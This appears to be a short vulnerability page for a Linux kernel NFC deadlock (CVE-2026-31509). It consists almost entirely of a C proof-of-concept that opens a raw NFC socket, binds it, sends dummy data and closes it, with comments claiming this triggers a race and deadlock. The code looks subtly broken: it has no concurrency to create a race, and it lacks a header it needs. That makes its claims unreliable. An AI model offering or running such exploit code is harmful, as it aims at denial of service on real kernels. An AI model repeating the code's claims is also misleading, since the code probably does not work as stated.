CVE-2026-31509 Linux内核NFC子系统死锁漏洞

/* * PoC for CVE-2026-31509: Linux Kernel NFC Deadlock * This code attempts to trigger the deadlock by interacting with NFC sockets. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/socket.h> #include <linux/nfc.h> int main() { int sock; struct sockaddr_nfc addr; // Create a raw NFC socket sock = socket(AF_NFC, SOCK_RAW, NFC_SOCKPROTO_RAW); if (sock < 0) { perror("socket"); return 1; } memset(&addr, 0, sizeof(addr)); addr.sa_family = AF_NFC; // Bind to NFC device to trigger initialization if (bind(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) { perror("bind"); close(sock); return 1; } printf("Triggering race condition in NFC layer...\n"); // Send data to populate rx_wq char dummy_data[10] = {0}; send(sock, dummy_data, sizeof(dummy_data), 0); // Close device to trigger nci_close_device holding lock close(sock); return 0; }